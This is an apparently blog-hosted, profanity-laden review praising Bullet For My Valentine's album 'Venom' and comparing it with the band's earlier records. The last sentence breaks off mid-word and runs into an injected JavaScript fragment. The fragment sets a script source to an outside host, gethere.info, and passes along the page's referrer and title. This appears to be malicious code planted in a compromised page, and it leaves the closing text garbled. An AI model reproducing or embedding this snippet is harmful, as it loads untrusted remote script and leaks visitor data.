By Fraser Bryce
I’ve always been fascinated by Bullet For My Valentine. I first listened to them because the internet had led me to believe that they were the worst band to ever have existed, and I discovered that the internet had lied to me. Shocker. That was about five years ago, and in that time, they’ve released three albums, which, by today’s standards, is an impressive work rate. 2010’s ‘Fever’ was decent, and had enough big tunes to allow the band to start playing arenas. 2013’s ‘Temper Temper’, however, was fucking rubbish. Absolute shite. A total wet fart of an album. Now, clearly Bullet realised this and, by the end of that year, they had released the single ‘Raising Hell’, which ditched the arena rock sound they had recently adopted and brought them back to being a heavy fucking metal band. They also claimed that ‘Raising Hell’ was the “middle-ground” of how heavy the new material was. Jesus Christ.
And now it’s here. Venom is Bullet’s fifth album – in case you couldn’t tell by the big fucking V on the cover – and they’ve come through on their promise to deliver a raging heavy metal album. Right from the opening scream on ‘No Way Out’, it’s clear that Venom isn’t going to be ‘Temper Temper Part II’. Venom has everything you’d want from a BFMV album: massive choruses, plenty of shredding guitar leads, and, most importantly, big fucking riffs. Seriously big riffs. Riffs that make you want to rip up floorboards and set things on fire. Songs like ‘Army of Noise’ and ‘Pariah’ are so damned heavy you’d be forgiven for thinking that you were listening to the new Slayer album. And don’t even get me started on ‘Broken’. I’m actually getting goosebumps thinking about it.
But, it’s not all pure metal fury. ‘Hell or High Water’ maintains the poppier sheen that the band have developed over the past few years, and ‘You Want A Battle? (Here’s A War)’ has a chorus so cheesy you can almost smell it. Not that it’s a bad thing, however. In fact, they’ve managed to merge the cheesy stadium anthems and the blistering speed metal into a sound that has finally given Bullet an identity of their own, instead of just being another metalcore band. Even the slower songs like the menacing ‘Worthless’ and the title track – which sounds a great deal like ‘Tears Don’t Fall’ from 2005’s ‘The Poison’- are excellent songs. Hell, even the four bonus tracks on the special edition are killer, and are especially worth your time if you’ve ever wanted to hear Matt Tuck scream “RUN MOTHERFUCKER” before ripping out an epic solo.
So, there you have it. Venom is fucking awesome. Pure and simple. And, if the album goes down well everywhere else, this could be the album that gives rock music the kick up the arse it’s been needing for so long. Who’d have thought that Bullet For My Valentine, the band internet trolls love to hate, were capable of that?s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;